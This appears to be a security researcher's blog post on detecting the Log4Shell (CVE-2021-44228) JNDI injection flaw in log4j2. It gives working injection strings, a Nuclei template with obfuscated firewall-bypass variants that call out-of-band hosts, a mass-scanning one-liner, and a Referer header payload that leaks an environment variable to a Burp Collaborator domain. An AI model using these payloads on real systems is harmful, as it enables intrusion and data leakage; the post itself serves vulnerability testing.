Log4Shell: RCE 0-day Detect CVE-2021–44228

hello i am Ahmed Salah Abdalhfaz (Elsfa7-110)

السلام عليكم ورحمة الله وبركاته

A few hours ago, a 0-day exploit in the popular Java logging library log4j2 was discovered that results in Remote Code Execution (RCE) by logging a certain string.

Given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe. We’re calling it “Log4Shell” for short.

Log4j versions prior to 2.15.0 are subject to a remote code execution vulnerability via the ldap JNDI parser.
As per Apache’s Log4j security guide: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default.

Affected Apache log4j2 Versions​

2.0 <= Apache log4j <= 2.14.1

Personally, I have several ways to exploit this vulnerability
Without going into depth, I will only teach you the ways by which you know if the application is infected or not

first thing you must using a DNS logger (such as dnslog.cn), you can generate a domain name and use this in your test payloads:

add this payload to all input form in the app to test it

${jndi:ldap://xxx.dnslog.cn/a}'

Refreshing the page will show DNS queries which identify hosts who have triggered the vulnerability.

This is good, but manually, let’s make it faster to check many apps quickly

Now I’m going to check the vulnerability, but I’ll use Nuclei

After collecting many sources, I made a template that speeds up the process for us to quickly check

We also used methods to bypass the firewall

log4jNuclei/log4jshell.yaml at main · Elsfa7-110/log4jNuclei

id: log4jshell-detect

info:
  name: Log4j Detect for Logs
  author: ELSFA7110
  severity: high

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?test=${jndi:ldap://{{interactsh-url}}/a}"
      - "{{BaseURL}}/?test=${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{interactsh-url}}/poc}"
      - "{{BaseURL}}/?test=${${::-j}ndi:rmi://{{interactsh-url}}/ass}"
      - "{{BaseURL}}/?test=${jndi:rmi://{{interactsh-url}}}"
      - "{{BaseURL}}/?test=${${lower:jndi}:${lower:rmi}://{{interactsh-url}}/poc}"
      - "{{BaseURL}}/?test=${${lower:${lower:jndi}}:${lower:rmi}://{{interactsh-url}}/poc}"
      - "{{BaseURL}}/?test=${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{interactsh-url}}/poc}"
      - "{{BaseURL}}/?test=${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{interactsh-url}}/poc}"

    headers:
      Host: "{{Host}}"
      User-Agent: "Mozilla ${jndi:ldap://{{interactsh-url}}/a}"

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "http"

      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"

Here we have replaced the dnslog.cn to interact.sh

to use this method of exploitation
First we collect all the subdomains or domains that you want to scan

you can make this with one line

subfinder -d test.com -silent -t 200 | httpx -silent -threads 200 | nuclei -t log4jshell.yaml

You can also use burp suite plugins to check this vulnerability

by ActiveScan++ and Log4j2Scan

GitHub - PortSwigger/active-scan-plus-plus: ActiveScan++ Burp Suite Plugin

GitHub - whwlsfb/Log4j2Scan: Log4j2 RCE Passive Scanner plugin for BurpSuite

from Headers:

use the handy Burp Proxy Match and Replace rules for finding #Log4Shell, while browsing targets. Pretty simple but effective.

• X-Client-IP
• X-Remote-IP
• X-Remote-Addr
• X-Forwarded-For
• X-Originating-IP
• User-Agent
• Referer
• CF-Connecting_IP
• True-Client-IP
• X-Forwarded-For
• Originating-IP
• X-Real-IP
• X-Client-IP
• Forwarded
• Client-IP
• Contact
• X-Wap-Profile
• X-Api-Version

for ex:

Referer: ${jndi:ldap://${env:user}.t3x1dvzl2q438a36qbrql778tzzpne.burpcollaborator.net/a}

Now we’re trying to bypass the firewall

i will use log4j-payload-generator is a plugin for woodpecker framework to produce log4 jndi injection vulnerability payload. At present, the following 5 types of payloads can be produced with one click.

by obfuscate methods

Releases · woodpecker-appstore/log4j-payload-generator

Please don’t forget to follow me on the Twitter to watch new blogs from me on https://twitter.com/Elsfa7110 and if you have any comment also send to me thanks. Feel free to connect with me if you have anything.

references:

https://zero-eg.com

CVE-2021-44228 - GitHub Advisory Database

GitHub - numanturle/Log4jNuclei: Log4j for nuclei

Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package | LunaSec